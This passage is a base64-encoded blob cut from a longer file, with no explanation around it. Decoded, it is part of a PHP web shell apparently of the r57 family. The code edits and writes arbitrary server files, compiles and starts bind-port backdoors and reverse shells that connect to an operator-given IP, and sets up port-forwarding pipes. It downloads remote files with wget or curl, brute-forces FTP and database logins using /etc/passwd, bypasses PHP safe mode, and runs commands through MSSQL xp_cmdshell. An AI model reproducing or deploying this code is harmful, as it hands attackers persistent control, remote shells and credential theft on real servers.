J10pKTsNCn0NCiRfUE9TVFsnY21kJ109IiI7DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYkX1BPU1RbJ2NtZCddPT0iZWRpdF9maWxlIiYmIWVtcHR5KCRfUE9TVFsnZV9uYW1lJ10pKQ0Kew0KaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZSddLCJyKyIpKSB7JGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2VfbmFtZSddKSk7QGZjbG9zZSgkZmlsZSk7JG9ubHlfcmVhZCA9IDE7fQ0KaWYoJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInIiKSkgeyRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydlX25hbWUnXSkpO0BmY2xvc2UoJGZpbGUpO30NCmVsc2UgaWYgKCRmaWxlPXJlYWR6bGliKCRfUE9TVFsnZV9uYW1lJ10pKSB7JGZpbGVkdW1wID0gJGZpbGU7JG9ubHlfcmVhZCA9IDE7fWVsc2Uge2VycigxLCRfUE9TVFsnZV9uYW1lJ10pOyRfUE9TVFsnY21kJ109IiI7fQ0KaWYoaXNzZXQoJF9QT1NUWydjbWQnXSkpIA0Kew0KZWNobyAkdGFibGVfdXAzOw0KZWNobyAkZm9udDsNCmVjaG8gIjxmb3JtIG5hbWU9c2F2ZV9maWxlIG1ldGhvZD1wb3N0PiI7DQplY2hvIHdzKDMpLiI8Yj4iLiRfUE9TVFsnZV9uYW1lJ10uIjwvYj4iOw0KZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PHRleHRhcmVhIG5hbWU9ZV90ZXh0IGNvbHM9MTIxIHJvd3M9MjQ+IjsNCmVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVkdW1wKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCmVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWVfbmFtZSB2YWx1ZT0iLiRfUE9TVFsnZV9uYW1lJ10uIj4iOw0KZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGlyIHZhbHVlPSIuJGRpci4iPiI7DQplY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jbWQgdmFsdWU9c2F2ZV9maWxlPiI7DQplY2hvICghZW1wdHkoJG9ubHlfcmVhZCk/KCI8YnI+PGJyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ0J10pOigiPGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCIgIi4kbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTAnXS4iIFwiPiIpKTsNCmVjaG8gIjwvZGl2PiI7DQplY2hvICI8L2ZvbnQ+IjsNCmVjaG8gIjwvZm9ybT4iOw0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCmV4aXQoKTsNCn0NCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiRfUE9TVFsnY21kJ109PSJzYXZlX2ZpbGUiKQ0Kew0KJG10aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ2VfbmFtZSddKTsNCmlmKCghJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInciKSkgJiYoIWZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKSkpIHtlcnIoMCwkX1BPU1RbJ2VfbmFtZSddKTt9DQplbHNlIHsNCmlmKCR1bml4KSAkX1BPU1RbJ2VfdGV4dCddPUBzdHJfcmVwbGFjZSgiXHJcbiIsIlxuIiwkX1BPU1RbJ2VfdGV4dCddKTsNCkBmd3JpdGUoJGZpbGUsJF9QT1NUWydlX3RleHQnXSkgb3IgQGZwdXRzKCRmaWxlLCRfUE9TVFsnZV90ZXh0J10pIG9yIEBmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ2VfbmFtZSddLCRfUE9TVFsnZV90ZXh0J10pOw0KQHRvdWNoKCRfUE9TVFsnZV9uYW1lJ10sJG10aW1lLCRtdGltZSk7DQokX1BPU1RbJ2NtZCddPSIiOw0KZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwODAwMD48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NSddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQp9DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsncHJveHlfcG9ydCddKSYmKCRfUE9TVFsndXNlJ109PSJQZXJsIikpDQp7DQpjZigiL3RtcC9wcnhwbCIsJHByeF9wbCk7DQokcDI9d2hpY2goInBlcmwiKTsNCiRibGFoID0gZXgoJHAyLiIgL3RtcC9wcnhwbCAiLiRfUE9TVFsncHJveHlfcG9ydCddLiIgJiIpOw0KJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgcHJ4cGwiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkmJiFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSYmKCRfUE9TVFsndXNlJ109PSJDIikpDQp7DQpjZigiL3RtcC9iZC5jIiwkcG9ydF9iaW5kX2JkX2MpOw0KJGJsYWggPSBleCgiZ2NjIC1vIC90bXAvYmQgL3RtcC9iZC5jIik7DQpAdW5saW5rKCIvdG1wL2JkLmMiKTsNCiRibGFoID0gZXgoIi90bXAvYmQgIi4kX1BPU1RbJ3BvcnQnXS4iICIuJF9QT1NUWydiaW5kX3Bhc3MnXS4iICYiKTsNCiRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGJkIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KY2YoIi90bXAvYmRwbCIsJHBvcnRfYmluZF9iZF9wbCk7DQokcDI9d2hpY2goInBlcmwiKTsNCiRibGFoID0gZXgoJHAyLiIgL3RtcC9iZHBsICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQokX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBiZHBsIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCmNmKCIvdG1wL2JhY2siLCRiYWNrX2Nvbm5lY3QpOw0KJHAyPXdoaWNoKCJwZXJsIik7DQokYmxhaCA9IGV4KCRwMi4iIC90bXAvYmFjayAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQokX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYoJF9QT1NUWyd1c2UnXT09IkMiKSkNCnsNCmNmKCIvdG1wL2JhY2suYyIsJGJhY2tfY29ubmVjdF9jKTsNCiRibGFoID0gZXgoImdjYyAtbyAvdG1wL2JhY2tjIC90bXAvYmFjay5jIik7DQpAdW5saW5rKCIvdG1wL2JhY2suYyIpOw0KJGJsYWggPSBleCgiL3RtcC9iYWNrYyAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQokX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydsb2NhbF9wb3J0J10pICYmIWVtcHR5KCRfUE9TVFsncmVtb3RlX2hvc3QnXSkgJiYhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJigkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KY2YoIi90bXAvZHAiLCRkYXRhcGlwZV9wbCk7DQokcDI9d2hpY2goInBlcmwiKTsNCiRibGFoID0gZXgoJHAyLiIgL3RtcC9kcCAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9ob3N0J10uIiAiLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4iICYiKTsNCiRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGRwIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydsb2NhbF9wb3J0J10pICYmIWVtcHR5KCRfUE9TVFsncmVtb3RlX2hvc3QnXSkgJiYhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJigkX1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KY2YoIi90bXAvZHBjLmMiLCRkYXRhcGlwZV9jKTsNCiRibGFoID0gZXgoImdjYyAtbyAvdG1wL2RwYyAvdG1wL2RwYy5jIik7DQpAdW5saW5rKCIvdG1wL2RwYy5jIik7DQokYmxhaCA9IGV4KCIvdG1wL2RwYyAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAiLiRfUE9TVFsncmVtb3RlX2hvc3QnXS4iICYiKTsNCiRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGRwYyI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnYWxpYXMnXSkgJiZpc3NldCgkYWxpYXNlc1skX1BPU1RbJ2FsaWFzJ11dKSkgeyRfUE9TVFsnY21kJ10gPSAkYWxpYXNlc1skX1BPU1RbJ2FsaWFzJ11dO30NCmZvcigkdXBsPTA7JHVwbDw9MTY7JHVwbCsrKQ0Kew0KaWYoIWVtcHR5KCRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJy4kdXBsXVsnbmFtZSddKSl7DQppZighZW1wdHkoJF9QT1NUWyduZXdfbmFtZSddKSAmJigkdXBsPT0wKSkgeyRuZm4gPSAkX1BPU1RbJ25ld19uYW1lJ107fQ0KZWxzZSB7JG5mbiA9ICRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJy4kdXBsXVsnbmFtZSddO30NCkBtb3ZlX3VwbG9hZGVkX2ZpbGUoJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnLiR1cGxdWyd0bXBfbmFtZSddLCRfUE9TVFsnZGlyJ10uIi8iLiRuZm4pDQpvciBwcmludCgiPGZvbnQgY29sb3I9cmVkIGZhY2U9Rml4ZWRzeXM+PGRpdiBhbGlnbj1jZW50ZXI+RXJyb3IgdXBsb2FkaW5nIGZpbGUgIi4kSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZScuJHVwbF1bJ25hbWUnXS4iPC9kaXY+PC9mb250PiIpOw0KfQ0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3dpdGgnXSkgJiYhZW1wdHkoJF9QT1NUWydyZW1fZmlsZSddKSAmJiFlbXB0eSgkX1BPU1RbJ2xvY19maWxlJ10pKQ0Kew0Kc3dpdGNoKCRfUE9TVFsnd2l0aCddKQ0Kew0KY2FzZSAnZm9wZW4nOg0KJGRhdGFmaWxlID0gQGltcGxvZGUoIiIsQGZpbGUoJF9QT1NUWydyZW1fZmlsZSddKSk7DQppZigkZGF0YWZpbGUpDQp7DQokd19maWxlPUBmb3BlbigkX1BPU1RbJ2xvY19maWxlJ10sIndiIikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKSBvciBlcnIoMCk7DQppZigkd19maWxlKQ0Kew0KQGZ3cml0ZSgkd19maWxlLCRkYXRhZmlsZSkgb3IgQGZwdXRzKCR3X2ZpbGUsJGRhdGFmaWxlKSBvciBAZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydsb2NfZmlsZSddLCRkYXRhZmlsZSk7DQpAZmNsb3NlKCR3X2ZpbGUpOw0KfQ0KfQ0KJF9QT1NUWydjbWQnXSA9ICcnOw0KYnJlYWs7DQpjYXNlICd3Z2V0JzoNCiRfUE9TVFsnY21kJ10gPSB3aGljaCgnd2dldCcpLiIgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiAtTyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCmJyZWFrOw0KY2FzZSAnZmV0Y2gnOg0KJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdmZXRjaCcpLiIgLW8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiAtcCAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIjsNCmJyZWFrOw0KY2FzZSAnbHlueCc6DQokX1BPU1RbJ2NtZCddID0gd2hpY2goJ2x5bngnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KYnJlYWs7DQpjYXNlICdsaW5rcyc6DQokX1BPU1RbJ2NtZCddID0gd2hpY2goJ2xpbmtzJykuIiAtc291cmNlICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCmJyZWFrOw0KY2FzZSAnR0VUJzoNCiRfUE9TVFsnY21kJ10gPSB3aGljaCgnR0VUJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQpicmVhazsNCmNhc2UgJ2N1cmwnOg0KJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdjdXJsJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIC1vICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KYnJlYWs7DQp9DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYoKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV91cCIpIHx8KCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikpKQ0Kew0KbGlzdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQpID0gc3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOw0KaWYoZW1wdHkoJGZ0cF9wb3J0KSkgeyRmdHBfcG9ydCA9IDIxO30NCiRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0ICgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOw0KaWYoISRjb25uZWN0aW9uKSB7ZXJyKDMpO30NCmVsc2UgDQp7DQppZighQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkX1BPU1RbJ2Z0cF9sb2dpbiddLCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pKSB7ZXJyKDQpO30NCmVsc2UgDQp7DQppZigkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfZG93biIpIHtpZihjaG9wKCRfUE9TVFsnbG9jX2ZpbGUnXSk9PSRkaXIpIHskX1BPU1RbJ2xvY19maWxlJ109JGRpci4oKCEkdW5peCk/KCdcXCcpOignLycpKS5iYXNlbmFtZSgkX1BPU1RbJ2Z0cF9maWxlJ10pO31AZnRwX2dldCgkY29ubmVjdGlvbiwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbW9kZSddKTt9DQppZigkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfdXAiKSAgIHtAZnRwX3B1dCgkY29ubmVjdGlvbiwkX1BPU1RbJ2Z0cF9maWxlJ10sJF9QT1NUWydsb2NfZmlsZSddLCRfUE9TVFsnbW9kZSddKTt9DQp9DQp9DQpAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTsNCiRfUE9TVFsnY21kJ10gPSAiIjsNCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJigoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpIHx8KCRfUE9TVFsnY21kJ109PSJkYl9icnV0ZSIpKSkNCnsNCmlmKCRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKXsNCmxpc3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0KSA9IHNwbGl0KCI6IiwkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTsNCmlmKGVtcHR5KCRmdHBfcG9ydCkpIHskZnRwX3BvcnQgPSAyMTt9DQokY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCAoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCn1lbHNlIGlmKCRfUE9TVFsnY21kJ109PSJkYl9icnV0ZSIpew0KJGNvbm5lY3Rpb24gPSAxOw0KfQ0KaWYoISRjb25uZWN0aW9uKSB7ZXJyKDMpOyRfUE9TVFsnY21kJ10gPSAiIjt9DQplbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJykgJiYoISR1c2Vycz1nZXRfdXNlcnMoJy9ldGMvcGFzc3dkJykpKXtlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDA4MDAwPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGNvbG9yPXJlZCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NiddLiI8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7JF9QT1NUWydjbWQnXSA9ICIiO30NCmVsc2UgaWYoKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdkaWMnKSAmJighJHVzZXJzPWdldF91c2VycygkX1BPU1RbJ2RpY3Rpb25hcnknXSkpKXtlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDA4MDAwPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGNvbG9yPXJlZCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj5DYW5cJ3QgZ2V0IHBhc3N3b3JkIGxpc3Q8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7JF9QT1NUWydjbWQnXSA9ICIiO30NCmlmKCRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKXtAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTt9DQp9DQplY2hvICR0YWJsZV91cDM7DQppZiAoZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYhJHNhZmVfbW9kZSAmJiEkb3Blbl9iYXNlZGlyKSB7JF9QT1NUWydjbWQnXT0oISR1bml4KT8oImRpciIpOigibHMgLWxpYSIpO30NCmVsc2UgaWYoZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpKXskX1BPU1RbJ2NtZCddPSJzYWZlX2RpciI7fQ0KZWNobyAkZm9udC4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MSddLiI6IDxiPiIuJF9QT1NUWydjbWQnXS4iPC9iPjwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZD48Yj48ZGl2IGFsaWduPWNlbnRlcj48dGV4dGFyZWEgbmFtZT1yZXBvcnQgY29scz0xMjEgcm93cz0xNT4iOw0KaWYoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpDQp7DQpzd2l0Y2goJF9QT1NUWydjbWQnXSkNCnsNCmNhc2UgJ3NhZmVfZGlyJzoNCiRkPUBkaXIoJGRpcik7DQppZiAoJGQpDQp7DQp3aGlsZSAoZmFsc2UhPT0oJGZpbGU9JGQtPnJlYWQoKSkpDQp7DQppZiAoJGZpbGU9PSIuInx8JGZpbGU9PSIuLiIpIGNvbnRpbnVlOw0KQGNsZWFyc3RhdGNhY2hlKCk7DQpAbGlzdCAoJGRldiwkaW5vZGUsJGlub2RlcCwkbmxpbmssJHVpZCwkZ2lkLCRpbm9kZXYsJHNpemUsJGF0aW1lLCRtdGltZSwkY3RpbWUsJGJzaXplKSA9IHN0YXQoJGZpbGUpOw0KaWYoISR1bml4KXsNCmVjaG8gZGF0ZSgiZC5tLlkgSDppIiwkbXRpbWUpOw0KaWYoQGlzX2RpcigkZmlsZSkpIGVjaG8gIiAgPERJUj4gIjtlbHNlIHByaW50ZigiJSA3cyAiLCRzaXplKTsNCn0NCmVsc2V7DQppZihAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKXsNCiRvd25lciA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiRncmdpZCA9IEBwb3NpeF9nZXRncmdpZCgkZ2lkKTsNCn1lbHNleyRvd25lclsnbmFtZSddPSRncmdpZFsnbmFtZSddPScnO30NCmVjaG8gJGlub2RlLiIgIjsNCmVjaG8gcGVybXMoQGZpbGVwZXJtcygkZmlsZSkpOw0KQHByaW50ZigiJSA0ZCAlIDlzICUgOXMgJTdzICIsJG5saW5rLCRvd25lclsnbmFtZSddLCRncmdpZFsnbmFtZSddLCRzaXplKTsNCmVjaG8gZGF0ZSgiZC5tLlkgSDppICIsJG10aW1lKTsNCn0NCmVjaG8gIiRmaWxlXG4iOw0KfQ0KJGQtPmNsb3NlKCk7DQp9DQplbHNlIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2dsb2InKSkNCnsNCmZ1bmN0aW9uIGVoKCRlcnJubywkZXJyc3RyLCRlcnJmaWxlLCRlcnJsaW5lKQ0Kew0KZ2xvYmFsICRELCRjLCRpOw0KcHJlZ19tYXRjaCgiL1NBRkVcIE1PREVcIFJlc3RyaWN0aW9uXCBpblwgZWZmZWN0XC4uKndob3NlXCB1aWRcIGlzKC4qKWlzXCBub3RcIGFsbG93ZWRcIHRvXCBhY2Nlc3MoLiopb3duZWQgYnkgdWlkKC4qKS8iLCRlcnJzdHIsJG8pOw0KaWYoJG8peyREWyRjXSA9ICRvWzJdOyRjKys7fQ0KfQ0KJGVycm9yX3JlcG9ydGluZyA9IEBpbmlfZ2V0KCdlcnJvcl9yZXBvcnRpbmcnKTsNCmVycm9yX3JlcG9ydGluZyhFX1dBUk5JTkcpOw0KQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwxKTsNCiRyb290ID0gIi8iOw0KaWYoJGRpcikgJHJvb3QgPSAkZGlyOw0KJGMgPSAwOyREID0gYXJyYXkoKTsNCkBzZXRfZXJyb3JfaGFuZGxlcigiZWgiKTsNCiRjaGFycyA9ICJfLS4wMTIzNDU2Nzg5MGFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiOw0KZm9yKCRpPTA7JGkgPHN0cmxlbigkY2hhcnMpOyRpKyspDQp7DQokcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/Ii8iOiBOVUxMKS4ieyRjaGFyc1skaV19IjsNCiRwcmV2RCA9ICREW2NvdW50KCREKS0xXTsNCkBnbG9iKCRwYXRoLiIqIik7DQppZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEKQ0Kew0KZm9yKCRqPTA7JGogPHN0cmxlbigkY2hhcnMpOyRqKyspDQp7DQokcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/Ii8iOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19IjsNCiRwcmV2RDIgPSAkRFtjb3VudCgkRCktMV07DQpAZ2xvYigkcGF0aC4iKiIpOw0KaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RDIpDQp7DQpmb3IoJHA9MDskcCA8c3RybGVuKCRjaGFycyk7JHArKykNCnsNCiRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8iLyI6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX17JGNoYXJzWyRwXX0iOw0KJHByZXZEMyA9ICREW2NvdW50KCREKS0xXTsNCkBnbG9iKCRwYXRoLiIqIik7DQppZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEMykNCnsNCmZvcigkcj0wOyRyIDxzdHJsZW4oJGNoYXJzKTskcisrKQ0Kew0KJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyIvIjogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfXskY2hhcnNbJHBdfXskY2hhcnNbJHJdfSI7DQpAZ2xvYigkcGF0aC4iKiIpOw0KfQ0KfQ0KfQ0KfQ0KfQ0KfQ0KfQ0KJEQgPSBhcnJheV91bmlxdWUoJEQpOw0KZm9yZWFjaCgkRCBhcyAkaXRlbSkgZWNobyBodG1sc3BlY2lhbGNoYXJzKCJ7JGl0ZW19IikuIlxyXG4iOw0KZXJyb3JfcmVwb3J0aW5nKCRlcnJvcl9yZXBvcnRpbmcpOw0KfQ0KZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQyOSddOw0KYnJlYWs7DQpjYXNlICd0ZXN0MSc6DQokY2kgPSBAY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk7DQokY2YgPSBAY3VybF9leGVjKCRjaSk7DQplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNmKTsNCmJyZWFrOw0KY2FzZSAndGVzdDInOg0KQGluY2x1ZGUoJF9QT1NUWyd0ZXN0Ml9maWxlJ10pOw0KYnJlYWs7DQpjYXNlICd0ZXN0Myc6DQppZihlbXB0eSgkX1BPU1RbJ3Rlc3QzX3BvcnQnXSkpIHskX1BPU1RbJ3Rlc3QzX3BvcnQnXSA9ICIzMzA2Ijt9DQokZGIgPSBAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0OicuJF9QT1NUWyd0ZXN0M19wb3J0J10sJF9QT1NUWyd0ZXN0M19tbCddLCRfUE9TVFsndGVzdDNfbXAnXSk7DQppZigkZGIpDQp7DQppZihAbXlzcWxfc2VsZWN0X2RiKCRfUE9TVFsndGVzdDNfbWQnXSwkZGIpKQ0Kew0KQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0ZW1wX3I1N190YWJsZSIpOw0KQG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYHRlbXBfcjU3X3RhYmxlYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApIik7DQpAbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLiRfUE9TVFsndGVzdDNfZmlsZSddLiJcIiBJTlRPIFRBQkxFIHRlbXBfcjU3X3RhYmxlIik7DQokciA9IEBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0ZW1wX3I1N190YWJsZSIpOw0Kd2hpbGUoKCRyX3NxbCA9IEBteXNxbF9mZXRjaF9hcnJheSgkcikpKSB7ZWNobyBAaHRtbHNwZWNpYWxjaGFycygkcl9zcWxbMF0pLiJcclxuIjt9DQpAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRlbXBfcjU3X3RhYmxlIik7DQp9DQplbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsNCkBteXNxbF9jbG9zZSgkZGIpOw0KfQ0KZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gbXlzcWwgc2VydmVyIjsNCmJyZWFrOw0KY2FzZSAndGVzdDQnOg0KaWYoZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pKSB7JF9QT1NUWyd0ZXN0NF9wb3J0J10gPSAiMTQzMyI7fQ0KJGRiID0gQG1zc3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCwnLiRfUE9TVFsndGVzdDRfcG9ydCddLCRfUE9TVFsndGVzdDRfbWwnXSwkX1BPU1RbJ3Rlc3Q0X21wJ10pOw0KaWYoJGRiKQ0Kew0KaWYoQG1zc3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3Q0X21kJ10sJGRiKSkNCnsNCkBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCkBtc3NxbF9xdWVyeSgiY3JlYXRlIHRhYmxlIHI1N190ZW1wX3RhYmxlICggc3RyaW5nIFZBUkNIQVIgKDUwMCkgTlVMTCkiLCRkYik7DQpAbXNzcWxfcXVlcnkoImluc2VydCBpbnRvIHI1N190ZW1wX3RhYmxlIEVYRUMgbWFzdGVyLmRiby54cF9jbWRzaGVsbCAnIi4kX1BPU1RbJ3Rlc3Q0X2ZpbGUnXS4iJyIsJGRiKTsNCiRyZXMgPSBtc3NxbF9xdWVyeSgic2V